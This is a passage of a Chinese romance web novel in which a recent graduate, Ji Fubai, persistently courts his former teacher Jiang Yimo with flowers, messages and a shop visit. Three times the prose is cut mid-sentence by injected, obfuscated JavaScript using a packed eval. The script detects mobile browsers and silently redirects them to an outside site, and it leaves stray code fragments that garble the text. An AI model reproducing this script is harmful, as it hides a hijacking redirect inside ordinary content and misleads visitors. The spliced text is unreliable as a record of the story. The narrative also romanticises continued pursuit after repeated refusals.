最后一条,人家回他:是女朋友吗,听着不像是女朋友,女朋友不会因为被强吻打你的。 他说:不是,还在追。 人家说:……老老实实的吧,兄弟,除非你长得巨帅,开玩笑,帅哥也不能搞性骚扰。 纪复白深深叹了口气。 …… 看着这些视频,他也想了一晚上蒋一茉。 他恨不得蒋一茉就睡在自己旁边,马上就可以把学到的实践一下,然后问她:“喜欢哪种吻法?法式还是纪式?” 蒋一茉肯定会问他,什么是“纪式”。 “纪式”嘛,就是再来一次,再来无数次,直到他满足为止。 反正也睡不着,纪复白干脆起床,洗漱完去找蒋一茉。 九点来钟,蒋一茉和文娟下楼准备去店里开门。 走出楼洞便撞见纪复白,一身白T黑短裤,外面套了一件浅灰防晒外套,大喇喇地坐在他们单元楼对面的长椅上,旁边搁着一大捧粉蓝白黄的花。 要不是见他换了衣服,蒋一茉还以为这家伙在这儿坐了一晚上。 因为文娟在旁边,她无视掉他,跟妈妈边说着话,一路走远了。 纪复白叹口气,只好在微信上找蒋一茉,说给她买了花,不知道她喜欢什么花,所以各种都搭配了一点,希望她喜欢。 又说会把花放在她家门口,回去时记得抱回家。 发完微信,他上楼来到蒋一茉家门口,地上铺几张干净纸巾,把花束靠着墙角放好。 想了想,又到处看了看,他敲开蒋一茉邻居家的门,准备借个纸笔。 邻居家奶奶看小帅哥很是赏心悦目,嘴也甜,给他拿了一支笔,但找不到像样的纸,说她家就她跟老伴儿,平时也不看书不看报的,家里就只有卫生纸,那笔也不知道哪家小孩儿掉楼道里她捡回来的。 纪复白看见大妈家门口堆了纸壳,问能不能要个纸壳。 大妈答应,他拿着纸壳,转念一想,又问大妈借剪刀,把纸壳剪出一个完美的爱心形状来。 他在上面写:【送给我爱人蒋一茉的花,请不要随便拿走,谢谢。——纪复白】 把心形标语摆在花的旁边,他看了看,这才放心离开。 - 蒋一茉到店里后,接着整理昨天没理完的货。 纪复白给她发来一条微信,说花放好了,他先去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320807|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练车了。 蒋一茉蹲在货架前,看完后正准备收起手机,又弹出来一条:【今天不会跟你前男友出去吃饭了吧?以后都不会了吧?】 蒋一茉没回复,对方扔来表情包:【小狗流泪】 见她依然没反应,又丢来一张:【小狗乖巧等回复ing】 蒋一茉回他:【在店里,今天也很忙。】 她不想再用“骚扰”这个词,只能说到这个地步提醒他。 纪复白:【你可以把我设置成免打扰,我发我的,你有空再看,有空再回,这样就不会对你再造成骚扰。】 蒋一茉:“……” 他倒挺会想解决办法。 蒋一茉想了想,问他:【一起练车的有女孩子吗?】 纪复白:【吃醋?】 蒋一茉:【你可以留意下,有没有能发展成女朋友的女孩儿。】 剩下半句没发:好把精力从我这儿移开。 这句之后,过了好一会儿,她才收到纪复白回复:【我报的一对一。】 蒋一茉::“……” 忘了人家是富哥有钱人这回事。 紧接又弹出一条:【让你失望了,蒋一茉。】 文字虽然没有语气,却能看出情绪,蒋一茉抿了抿唇,算了,也不再说什么。 整理完货架,又再检查一遍保质期,蒋一茉在收银台后面休息了会儿,想到纪复白送的花还放在门口,心里总放心不下,怕被人拿走。 她跟文娟说回家拿耳机,文娟叫她干脆歇到中午,让她自己在家吃完午饭,再送点饭来店里就成。 蒋一茉答应,走得急,伞也忘了撑,迎着大太阳赶回家,已经满头是汗,看见那束花还在,松了口气,又捡起旁边的心形纸壳子,看着上面两行漂亮的行楷字,还有落款,忍不住笑。 她发现纪复白真的很喜欢给自己的话落款,小习惯挺可爱。 进屋后,她把花束放在卧室书桌上,又再摸了摸那个心形纸壳,收进抽屉最下层。 托腮欣赏了一会儿,她拿出手机,点开微信。 她没有给纪复白设置免打扰,而对方大概专心练车,没有发太多消息过来。 只一开始说了几句“今天好热”,又嘱咐她出门记得打伞,又说最好不要出门,就在店里吹空调。 一会儿又说她今天穿的衣服好看,紧接又道昨天的黄色裙子一点也不好看,扔了吧,他重新给她再买一条更漂亮的。 小心思昭然若揭,不就是因为穿去见过前男友,他就连裙子也看不顺眼了,裙子哪里招他惹他了。 蒋一茉打字道:【这次就算了,以后不要送花了,我也不会再收,别浪费钱,如果实在想送,不如把你那盆茉莉送我。】 发出去才反应过来文字哪里能看出玩笑语气,于是补充道:【开个玩笑,我只是想夸你那盆茉莉被你养得很好,不是真的想要,毕竟我以前也养过,养一盆死一盆。】 在她切菜做饭时,纪复白发来回复:【正常,我也养死过,后来才掌握一点技巧,茉莉喜光、喜水、喜肥,所以要勤浇水、多施肥、多晒太阳,如果放到人身上,就是多喝水,多见太阳,多吃肉。你这朵小茉莉呢,今天喝水晒太阳吃肉了没?】 蒋一茉还真的在切肉,一时起了逆反心理,丢下刀不切了,后来又想想,肉还是要吃的,人也是要训的。 蒋一茉:【什么小茉莉,我比你大六岁,别没大没小。】 纪复白:【知道了,姐姐。说实话,蒋一茉,我一点都不想叫你姐姐,偏你爱听。】 蒋一茉:【不叫姐姐,叫什么?】 纪复白:【主人】 蒋一茉:……………… 短短两个字,没有标点没有表情,透着一丝不知廉耻的虔诚。 蒋一茉还没来得及回复点什么,眼见着“主人”俩字被撤回了,那头安静得仿佛什么也没发生。 她微的一怔,撑着台面,肩头抖动起来,头差点没给笑掉。 “哈哈哈哈哈哈这笨蛋……” 17. 亲我 “林校长?”蒋一茉提着饭盒回到店里,碰见林副校长。 对方正站在柜台前,和文娟聊天。 “林校长来附近吃饭,正好路过,进来买烟。”文娟解释道。 “嗯。”蒋一茉把饭盒放下,见林副校长手里捏着烟盒,却还没打算走。 “林校长还买别的什么吗?”她一边把饭菜拿出来布好,一边问。 “没什么要买的了,那我走了,娟儿。”林副校长又看了看文娟,转身准备要走,想起什么来。 “一茉,你明天要回学校坐班了吧?”他道。 蒋一茉点点头。 虽然高三年级高考完已通通解放,老师们却只能休息几天,又要回学校继续坐班。 林副校长道:“我帮你说一下,你就别去了。” 蒋一茉连连摆手,话还没来得及脱口,旁边文娟的声音先她一步:“别这样,这是茉儿的工作,你别插手。” 林副校长看看文娟,欲言又止,最后叹口气,点点头,“好吧,那我先走了。” 他的目光又落到蒋一茉脸上,端详两眼,说:“都说女儿长得像爸爸,一茉倒是跟你妈妈更像。” 蒋一茉笑道:“是呢,从小到大大家都这么说。” 林副校长笑了笑,没再说别的,推门离开。 文娟坐下开始吃饭,蒋一茉拿把壁纸刀,进库房去拆今天上午到的一些货,又拖着篮子出来分门别类放到对应货架上。 感觉店里莫名的安静,她喊道:“今天怎么不看电视剧了?” 往常文娟都会点开一集电视剧下饭,今天却闷头吃也不看手机。 她这么一说,文娟才又开始播起电视剧,蒋一茉没做多想,继续收拾手里的零食。 慢慢悠悠收拾一下午,蒋一茉锤了锤腰,回到收银台后面,撑着下巴跟文娟一起看电视剧。 再休息会儿,该回去做晚饭了。 文娟问她:“今天跟衍之又联系了么?” 蒋一茉顾左右而言他,指着电视剧道:“这男的坏死了。” 文娟笑着戳她脸颊:“你天天这个男的坏死了,那个男的坏死了,哪个男的都坏是吧,哪个男的能入得了你眼,你说?” 蒋一茉晃晃脑袋。 文娟摇头叹气:“又不愿意相亲,对王衍之也爱答不理,也不知道这样下去什么时候能给我带个好女婿回来。” 蒋一茉刚要说话,有人敲了敲她面前的玻璃面板,清朗微沉的声音道:“阿姨,买烟。” 蒋一茉回头,文娟已经立刻站起来:“小伙子要什么烟?” “妈,别卖给他,这是我刚带毕业的学生。” 蒋一茉也站起来,白皙双臂交叠撑在收银台上,纤细腰身微微塌下,狭起眼睛看着纪复白道:“胆子够大的,敢跑我这儿来买烟?” 纪复白视线自然而然落下—— 蒋一茉今天穿的是件v字领T恤,呈半趴伏姿态时,饱满白皙的胸线便露出一点来。 只是似有若无的一点圆润弧度,但足以让他想入非非,喉结滚了下。 蒋一茉循着对方视线低头—— !!! 她立刻直起身来,揪住领口道:“我们这儿不卖烟给你,你走吧。” 纪复白又看回她眼里:“我帮我爸买。” “真的?”蒋一茉心道你这家伙可有前科,说不定还是买给自己抽。 要说抽烟这事儿,要是讲给学校里其他老师听,那绝对都是要惊掉下巴的,而最疼爱纪复白的唐老头,恐怕要揪着那一把所剩无几的头发问:小白,一根够吗? 纪复白皱了皱眉,连带想起来上午蒋一茉叫他把精力用来留意别的女生的话,她会这么说,分明就是不信任他对她的喜欢,觉得他那些表白都是在满嘴跑火车。 越想越不爽,他道:“我答应过你不抽,就不会再抽。你就相信我哪怕一次,别次次都这样怀疑我,很伤人,你觉得呢?难道我经常骗你?” 文娟看来看去怎么还有点要吵起来的意思,把蒋一茉推开,问道:“满18了吗,小伙子?” 纪复白:“满了,阿姨。” “那可以卖给你,不过抽烟伤身,你全给你爸带去,可别自己抽噢。”文娟笑道,“要什么烟?” 纪复白:“白沙吧,阿姨。” “好嘞。”文娟把烟递给他,“给,小帅哥。” “阿姨,我很帅吗?”纪复白接过烟问。 “帅,怎么不帅,帅得都可以去演电视了,是吧茉儿?” 文娟又再打量几眼面前的小伙子,心说还真是帅,干干净净的,白白高高的,精瘦精瘦的,脸上更是俊得挑不出一点毛病。 “那,阿姨想要一个我这么帅的女婿吗?”纪复白边说,边扫码付钱。 蒋一茉:“!!!” 蒋一茉正在喝养乐多,一听这话,猛吸一口,吸管发出空无一物的噪音。 文娟微愣了下,随后笑得见牙不见眼:“我以后的女婿真有你这么帅就好咯哈哈哈……” 蒋一茉“砰”地将养乐多空瓶砸在桌上,从收银台后绕出去,抓着衣领把人拽出店外。 “你是有什么毛病?胡说八道些什么?”站在街边,她叉着腰,仰着头,低声骂道。 纪复白看她气得跟只小水壶似的,整理好身上衣服,笑说:“开玩笑而已,阿姨都没当真,就你当真,怎么,你心里有鬼?” 蒋一茉拿手指他,气得讲不出话,又放下。 “你不是练车吗,跑这儿来干什么?”缓和了情绪后,她问。 纪复白无奈道:“早就练完了,下午给你发那么多消息,你一点没看?” 蒋一茉摸了摸脸,有些心虚:“一直在忙,你不知道,店里可忙了,忙得我……” 纪复白:“忙得你连电视剧里那坏男人都没时间骂,是吗?” 他憋着笑。 蒋一茉:“……” 纪复白说:“我陪我爸在附近吃晚饭,他让我出来帮忙买包烟,我恰好走到这儿,看你在就进来了。” 只不过饭店地址是纪复白故意挑在蒋一茉家附近,买烟也是他主动提出来的。 “知道了,你走吧,别再抽烟,我最后再警告你一遍。” 蒋一茉转身准备走,手腕上一紧,被人拉了回去,给她又吓一跳。 “你干什么?”她看一眼店里,小声吼道。 纪复白:“你那儿还有一瓶养乐多,我看见了,我要喝。” 蒋一茉:“……” 纪复白:“你上午说那话那么伤我心,不该给点甜的补偿一下?或者你亲我一下,反正你嘴里也是甜的。” 蒋一茉瞪他一眼,进去把剩下那瓶养乐多插上吸管又拿出来给他。 “这下满意了?幼稚。”她说。 “你也幼稚。”纪复白反击。 蒋一茉:“你……你才幼稚!” 纪复白:“你比我还幼稚。” 蒋一茉:“你最幼稚!!!” 吼完,发现街边路人都瞧了过来,还有抱着手臂笑看他俩小学生吵架的大妈。 谁叫这人一旦长得过于好看,就连斗嘴也赏心悦目。 蒋一茉倏地红了脸。 “……”纪复白咬着吸管乐得不行。 见蒋一茉转身要回店里,他一个跨步又堵她面前。 “等会儿,我想跟你请示一件事,明天我和几个同学打算去周边徒步,毕业前约好的,队伍里有3个女生,你也都认识,如果你介意,我就不……” 蒋一茉捂住他嘴,不让他再说下去。 蒋一茉:“你这是在干什么?首先,我不是你女朋友,其次,你已经毕业,我跟你仅有的那点关系现如今也没有了,没必要跟我报备这些。” 纪复白:“……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324089|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纪复白因为这话,眼里褪去一点光彩,沉默一会儿,点了点头。 蒋一茉心道怎么又是这个眼神,跟昨晚坐在楼梯口那会儿似的,好像又被她插了一刀。 她放下手,看向别处,避开他眼睛,换了个话题道:“你刚说跟你爸在一起吃饭,你爸妈回来了?” 纪复白的语气较之前淡了一些:“只有我爸,工作原因下午到的北京,晚上的飞机又要回上海。” 说完,他轻轻扬了下嘴角,笑里带一点自嘲:“不跟你报备,我身边也没别人可以分享,你既然觉得烦,以后我就不说了。” 这话听着实在叫人心疼,蒋一茉眉心微动,有点于心不忍。 又一想自己刚刚那话,确实过于冷漠,她甚至有轻轻给自己一个大耳刮子的冲动。 纪复白没有难过很久——至少面上没有,笑了笑,又说:“但是我永远不会烦你,所以你要跟我分享一下你明天的安排吗?” 蒋一茉:“……” 他迅速调整心情,倒使蒋一茉更加过意不去,声音软了几分,回答道:“没什么安排,明天要回学校坐班。” 纪复白:“我们都考完了,你们还要上班?教谁去?” “不教谁,提前做一点下学期的教学准备工作。等你以后上班了,你就明白了。”蒋一茉看了看他,又说:“不对,像你这样的人呢,都是别人给你打工才对。” “别人给我打工也好,我给别人打工也好,我都会努力工作,挣了钱全拿来养我女朋友,我要我的那朵小茉莉什么也别干,每天喝水晒太阳吃肉,玩儿得开心就行。” 纪复白看着蒋一茉笑道。 他认为另一半就是用来珍惜和爱护的,怎么能让她吃苦。 蒋一茉听了这话,只是扯唇笑了下,摇了摇头,没说什么。 纪复白见她竟是这反应,不服气道:“我知道,不管我说什么你现在都不信,你看不起我,无所谓,我以后会证明给你看。” 蒋一茉耐心解释道:“我没有看不起你的意思,我只是觉得,你在规划未来的时候,应该多想想你的雄心抱负,而不是怎么挣够钱养自己女朋友。” 停了停,又继续道:“女人不比男人差,你能忍受的辛苦她也可以,甚至比你做的更好,你要做的是为她锦上添花,而不是打着心疼的旗号,去抹灭她可以创造的价值。难道女生就应该被圈养吗,我看不是这个道理。” 纪复白的目光变得柔软,把面前的女人看了又看,怎么也看不够似的,虽然被教育一通,心里反而更加开阔,也更加认定这朵小茉莉必须是他的。 他笑道:“我倒真想把你圈养,这样你就再也没机会像昨晚那样跟别的男人在外面吃饭,伤我的心。” 蒋一茉微抿了抿唇角,不搭理这茬,只说:“回去吧,你爸要抽个烟也怪不容易,等你这么久等不来。” 纪复白笑了笑,说:“那我走了。”忽的又低下头,凑近她耳边:“要想我,吃饭想我,洗澡想我,每一次呼吸都想着我,像我想你那样,好不好,蒋一茉。” 蒋一茉瞪他一眼,见他走,又说:“等等。” 她回到店里,拿个袋子,在架子上挑选了一袋子零食和几瓶电解质水出来递给他,“明天和朋友在路上吃吧。” 纪复白接过来,听蒋一茉又道:“注意安全。” 短短四个字,却比以往任何一句听着都要温柔。 他每次早晨给茉莉浇完水,花瓣上总会残留水滴,阳光下,水滴里有小小彩虹。 此刻,那彩虹,在他心里。 纪复白:“有飞机。” 蒋一茉:“……啊?” 蒋一茉仰头,飞机没见着,一个轻柔的吻飞来,坠落在她唇角。 心里轰然炸开,烈焰冲天,气浪滚烫,那“飞行员”却笑着潇洒离去,走向夕阳的背影,修长又高挑,挺拔又俊逸,步伐一贯风轻云淡。 18. 我爱你 蒋一茉转身进店,几步路走得轻飘飘,双腿不听使唤似的发软,膝盖撞在收银柜台拐角上,人被绊倒在地,顺带着扑倒一个椅子。 “妈……”她哭唧唧地喊妈妈。 文娟赶忙地跑过去给她扶起来,把椅子也搬起来,笑说:“你赶紧回家吧,一会儿别把店都给我砸了。” 蒋一茉坐椅子上,捂着膝盖眼角泛泪花。 该死的纪复白!!! 收拾了东西,蒋一茉准备回家做晚饭。 她没有直接回家,而是绕远路去商场,斥巨资买了一个漂亮的粉色花瓶。 回家后,她上网搜了一下收到花束要如何养护的视频,学着人家的步骤,把纪复白送的那束花拆下来,插进花瓶里,摆在书桌一角。 她坐着,双手捧脸静静欣赏。 这捧花搭配得十分梦幻浪漫,粉粉蓝蓝,装在漂亮的花瓶里,看得人心里也无限柔软,感觉这个世界很美好。 美好到,让她忍不住幻想,如果今天那个吻,是他们的日常。 纪复白想要追谁,哪怕对面是八十岁老太太,凭那张脸也是易如反掌的事。 他甚至不需要有什么具体动作,两手抄兜站着不动,镜片后那双桃花眼微携一点笑意,就有大把女生愿意往他身上扑。 蒋一茉又怎么能完全抵挡他汹涌而来的热烈,一点不动摇。 而且,从来也没有人这样毫无保留的表达过对她的爱意。 她只是因为太害怕,所以才半点不敢踏出安全区。 如果她八十岁反倒好了,可她二十四,她不能什么都不考虑,不能什么都不想,什么都不怕。 她在桌上趴下,从花瓶底下往上望,目光所及之处,粉、蓝、黄、白色的各式花瓣重重叠叠,好似将她包围,好似,眼前这个世界可以包容一切。 那么,答应他的追求,也可以吧。 “……” 蒋一茉唇角勾出自嘲的笑。 这个时间点,她应该做饭,而不是做梦。 - 第二天,纪复白准时出现在和几个高中同学约好的集合地点。 结果一个个都迟到,他竟然是最早到的! 他在群里喊:【人呢?】 一个个回: 常美:【路上】 吴南:【厕所】 数学课代表孟凡:【买早饭ing,白爷要不要给你带个炸糕?】 纪复白:【不用,吃过了。】 英语课代表程茜:【给我带一个吧,睡过头没吃上早饭。@孟凡】 孟凡:【@程茜,OK。@纪复白,几点吃的?】 纪复白:【这是重点吗?(微笑)】 孟凡:【怕你万一是昨晚吃的,这会儿又饿了。】 纪复白:【昨晚吃的那叫晚饭(微笑)】 物理课代表李昌:【@孟凡,我也要一个】 孟凡:【@李昌,我看见你了,自己滚过来买!】 甄晨:【@纪复白,我来了我来了】 甄晨原本不在这个群里,是后来常美问大家能不能多带一个朋友一起,大家都没意见,于是甄晨加入进来,今天第二个到。 她穿着一身粉色防晒衣,一路跑过来,蹦蹦跳跳直接戳到纪复白面前,笑容灿烂:“我来啦!” 纪复白略点一点头,“早。” 甄晨上下一打量,说:“虽然有句话你可能已经听过很多很多遍,我还是想说,你今天好帅啊!” 纪复白今天穿了一件黑色防晒冲锋衣外套,黑色工装裤,头戴一顶黑色鸭舌帽,帽檐下是一副黑色墨镜,颈项上挂着银色的AirPodsMax头戴式耳机。 他随性的挽着衣袖,小臂连着手背略浮青筋,在路边两手抄兜高大个子往树上慵懒一靠,不需刻意耍帅,已是一道靓丽风景。 甄晨看着他的墨镜:“你的墨镜是有度数的吗?” 纪复白点头。 甄晨:“可以借我戴戴吗,我还没试过有度数的。” 纪复白摘下来给她,等了几秒,对方迟迟没接,一抬眸,女孩儿那双眼睛看他看直了。 纪复白:“……” 甄晨第一次见不戴眼镜的纪复白,那张没有眼镜框遮掩的脸,剑眉星目桃花眼,线条流畅干净,是一张很中式帅哥的脸,但又不过分温润,而是带一点清冷硬朗的攻击性,叫人移不开眼,好看得令她感觉有点窒息。 她之前对纪复白只是喜欢。 此刻不戴眼镜的男生,却让她有了占有欲,如果这辈子没能拥有,会是一辈子的遗憾。 纪复白食指勾着墨镜腿,抬手在她眼前晃了晃:“嘿!” 甄晨回过神,脸上少见地表现出一抹不好意思——以前都是别的男生在她面前不好意思。 她接过墨镜,戴上,眼前模糊,脑子晕乎,赶紧又取下来还回去,“戴不了戴不了,感觉跟喝醉了一样。” 纪复白拿回来,重新戴好。 甄晨看了看他,笑问:“你喝醉过吗?” 纪复白略一回忆:“没有。” 甄晨道:“那看来,你喜欢那个女生喜欢得还不够深。” 纪复白:“有没有可能,我单纯酒量好。” 甄晨摇头,“我以前也这么想,后来发现不是,酒量再好,心里埋着事儿,也会醉的。” 这时,其他人也陆续来了,孟凡和李昌买了好些炸糕,挨着分。 纪复白看他们买的实在太多,只好帮着解决一个,又把自己背来的几瓶电解质水都分给他们。 他们此时在山脚下的路口。 太阳初升,还不算太热,吃完炸糕,大家启程上路。 “走吧。” “冲冲冲!” “let''sgo!” 纪复白给蒋一茉发去微信:【出发了】 又丢过去一张小狗飞奔表情包:【呼叫呼叫,小狗来啦】 他以为蒋一茉不会理他,谁知没几分钟就收到回复:【嗯】 虽然只是一个“嗯”,他却忍不住地扬唇笑。 一旁甄晨看见,问道:“跟你喜欢的女生报备情况呢?” 纪复白只是笑笑,没接话。 甄晨心里有些不是滋味,说:“怎么不叫她也来?” 吴南说:“我们几个早就在群里问过了,一问这个,我们的群主大人就给我们禁言。” 甄晨望向群主纪复白:“是不是你邀请了,那女孩儿不愿意来?” 纪复白:“不是。” 他压根儿就不敢邀请,怕蒋一茉骂他是不是有什么大病。 - 临近中午,秦勤来蒋一茉工位,揽着她肩道:“该吃饭了,走,我请你外面下馆子去,报答你那天陪我逛街逛到脚软。” 蒋一茉笑说:“算你有良心。” 她补完妆,和秦勤出去。 “你最近化妆挺频繁啊,是不是已经偷偷摸摸交上男朋友了?”秦勤捏了捏她脸。 蒋一茉:“没有,只是觉得化了妆比较精神,万一哪天突然天降一个大帅哥在我面前,我顶着一张素颜,怎么有机会?” 秦勤:“少妄自菲薄了,你素颜比多少女生化妆都好看,我也是纳闷儿,长你这样怎么会一直没男朋友,后来一想,应该是你比较难追。” 蒋一茉:“我不难追,只不过始终碰不到合适的,我也没什么太高要求,他喜欢我,我也喜欢他,就行。” 两人走出教学楼,正午的阳光毒辣刺眼,蒋一茉撑起一把粉色遮阳伞。 秦勤道:“讲点具体的,你喜欢什么样的男生?是少年感强的,还是带点爹味儿的?还是别的什么样的?” 蒋一茉走在大太阳下,思考着这个问题。 脑子里不断浮现纪复白那张弯眼笑着的帅脸,她不停给甩出去。 在这种程度的搅和下,压根儿没法想出个正经答案来。 她只好说道:“有没有那种,该爹的时候爹,该少年的时候少年,该正经的时候正经,该玩笑的时候又很幽默……” 秦勤摇了摇头:“好嘛,敢情你全都想要呗。对了,你不是谈过恋爱吗,你前男友什么样?” 蒋一茉想起王衍之,说:“他喜欢交际,挺多朋友,跟他在一起的时候其实挺开心的,但我最头疼他身边那些一波又一波的女生朋友,我不知道是自己心眼儿太小,还是……” 秦勤:“当然不是你心眼儿小,只不过对方是个中央空调,温暖所有人,而你想要的是一个只对自己猛猛发光的小太阳,对吗?” 蒋一茉笑道:“知我者,秦勤也。” 但小太阳有时太过火,那股炽热恨不得把她也点燃,他不知道自己浑身滚烫,一点碰触就足以把她毁灭。 “中央空调”也有他的优点,温度永远控制得那么适宜,进退有度,但你想要更多也没有了。 蒋一茉的微信上不停弹出纪复白分享的沿途美照,还说等她后面有时间,他们也找个地方出去玩儿。 她静静把所有消息读完,并不回复,假装自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330742|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己很忙的样子。 她不知道这个小太阳要怎么样才能冷下来,冷静下来好好想想,他们真的有可能吗,为什么要一直在她身上浪费时间。 - 纪复白他们在下午时分登顶,微风轻拂被炽阳晒得火辣的面庞,目光所及,皑皑山川,绵延峰峦,云层低压,仿佛伸手可触。 这是他们许久不曾见过的风景,高三一年简直要把人都憋疯。 几个人已经累得走一步两腿就抖三抖。 男生们全都靠着他们所有人中唯一还站的笔直挺拔,状态轻松的纪复白,不是搭着他肩,就是坐地上抱着他腿。 纪复白睨着他们一个个脸色苍白,呼哧带喘的样子,发出淡淡嘲讽:“你们平时能跑跑步健健身吗?这点运动量就累成狗了。” 孟凡道:“什么品种的狗?” 纪复白:“……” 纪复白:“这是重点吗?” 吴南笑说:“我们又不像你有女神要追,我们没有孔雀开屏的需求。” 他搭着纪复白的肩,正好被对方一手肘顶在胸上。 纪复白道:“说谁孔雀开屏?” 他哪有那么没节操。 吴南边咳边笑。 孟凡有气无力道:“白爷,你都周几开屏?” 纪复白:“……” 纪复白:“能不能把重点抓准一次。” 孟凡抱着他腿仰头笑道:“你到底在对谁开屏?” 纪复白:“……” 倒也不用抓得这么准。 几个女生拍完照,甄晨走过来,笑道:“吴南,你怎么就没开屏需求了?我看你今天一路都在开屏。” 几个人听了这话都笑,笑得吴南本来不咳了,又咳起来。 常美拿肩膀推了甄晨一下,给她个警告的眼神。 甄晨又笑了几声,说:“纪复白,我能借你腿靠一下吗?” 她说着,已经席地而坐,背靠在纪复白腿上。 另外的常美和程茜也都学她坐下。 一时间,一共7个人,6个都坐下了,围着纪复白坐了一圈,挨个靠在他腿上,举着小风扇呼呼吹。 吴南没忘大家的靠山,高举手里小风扇给纪复白吹,自己跟旁边常美吹一个。 纪复白:“……” 见这几人甚至还悠闲地互相分起零食来,纪复白“啧”了声,抬脚走了出去。 大家没防备,头碰头七倒八歪地摔在一起,纪复白看他们一眼,勾唇笑着,走到最顶端去。 站在山顶最高处,看着面前无限宽广的世界被踩在脚底,纪复白非但一点不舒畅,心里还生出一些悲切的感觉来。 如果这些风景,这辈子只能他一个人去看,他该多么值得同情,他甚至有些可怜起自己来。 他自知,在追求蒋一茉这件事上,他远没有看起来那么胸有成竹。 他曾经引以为傲的自控力,稳定情绪,蒋一茉只用一句话,一个词,一点冷漠的小语气都能将他引爆,让他患得患失,惶恐不安。 纪复白:“蒋——一——茉——” 他突然两手做喇叭状,大声地喊出了蒋一茉的名字,回声在山谷里一直盘旋。 喊出来后,终于松了口气,胸口没那么堵得慌了,虚浮的一颗心落地,有了些没来由的底气和希望。 这些支撑他又喊了一遍。 其余几个人走过来,互相看了几眼,都是一脸纳闷儿,吴南道:“白爷,你干嘛一直喊蒋老师名字?” 纪复白稳如泰山,一脸的若无其事,说:“都是开口音,喊起来比较舒服,不信你们也试一下。” “真的假的。”孟凡跟着喊了一声,笑道:“还真是欸!” 常美也跟着喊了一声,喊完嗓子痒,咳了起来。 吴南拧了瓶盖把水递给她,说:“我有个提议,咱们干脆一起喊一声,然后给蒋老师发过去,她一看我们都毕业了还惦记着她,到时候肯定感动得哇哇哭。” 纪复白心说那女人才不会哭,心肠比石头都硬,一路发那么多微信给她,一条都不带回的。 大家都没意见。 吴南用三脚架将相机架在斜侧,把几人的背影全都拍进去。 7个人站成一排,吴南说:“来,准备,3——2——1——” 众人:“蒋——一——茉——” 纪复白:“我——爱——你——” 其余六人“唰”地齐齐转头看向纪复白,目瞪口呆:“………………………………” 19. 迁就 吴南道:“等会儿等会儿,白爷,你这前后是一句话,还是没有关联的两句话?你可别吓我们!” 纪复白喊爽了,语气轻松:“当然是两句。”转身迈步离开,“走了。” 回去的车上,三个女生和李昌坐一辆车离开,吴南纪复白和孟凡一个方向,坐在一辆车。 吴南看着拍的几个视频,最后停留在他们喊“蒋一茉”以及纪复白紧接着又喊一句“我爱你”那几秒片段上,反复地拖拉,眉头越皱越紧。 吴南:“我说,白爷,你下次再喊,能不能把句号加上,中间再隔得久一点,现在这怎么听怎么怪,我怎么往咱班群里发呀?” 纪复白仰头靠在椅背里,闭着眼,嘴角噙一点笑:“剪了不就得了。” 吴南:“从这儿一刀剪了挺突兀的。” 纪复白想了想,说:“都发给我,晚上我回去剪。” 吴南:“那敢情好。” 孟凡道:“白爷还会剪视频呢?” 吴南说:“咱以前每次运动会的视频都是白爷剪的啊!” 孟凡:“啊?我还以为你剪的呢。” 吴南摸了摸鼻尖:“嘿嘿,我负责发布。” 孟凡:“那你怎么从来不带白爷名字!我们好多人都以为你剪的!” 吴南:“那些视频上本来就有白爷水印,就是他的微信名BAIMO,你们都没看出来怪谁。再说了,白爷自己说别刻意给他署名,怕你们找他帮忙剪视频,他又拉不下脸找你们要劳务费。” 孟凡:“得了吧,白爷能稀罕我们那仨瓜两枣?” 吴南:“蚊子腿也是肉好吧,白爷也是人好吧……” …… 纪复白听吴南在那会儿胡诌,扬着唇安静地乐。 在两人的打闹下,他到地方先一步下车。 等门关上,吴南和孟凡看着外面熟悉的街景,这才纳闷儿,白爷怎么在学校门口下车了? 纪复白看眼时间,马上放学,也就意味着蒋一茉马上下班,还好赶上了。 他走到学校斜对面的公交站台等她,这时响起放学铃声,一首悠扬的蓝色多瑙河从音响里流淌出来,在校园上空盘旋。 纪复白听了三年,在学校时没怎么在意过,甚至上了高三经常伴着这首歌在课间入睡。 现在毕业了,往后再也不用趴在课桌上补觉。 不用坐在窗边时,帮大家把窗帘都拉上,好让他们睡得更香。 也不需要座位被安排在门边时,经常起身帮老师开关门。 不用一趟趟跑办公室抱作业和卷子,不用为了运动会苦练短跑,不用晚自习时帮吃零食的常美盯着老师,给吴南讲题讲到青筋直跳,因为唱歌好听被起哄带头唱情歌…… 纪复白望着从学校里涌出来的一拨拨穿着校服的蓝白色人群,专心致志将这首蓝色多瑙河听得仔细。 铃声渐到尾声,他望见了蒋一茉。 蒋一茉和秦勤等几个老师打完招呼,往街对面走来,准备坐公交回家。 人群里和纪复白目光对上的刹那,她眼睛倏地瞪得溜圆。 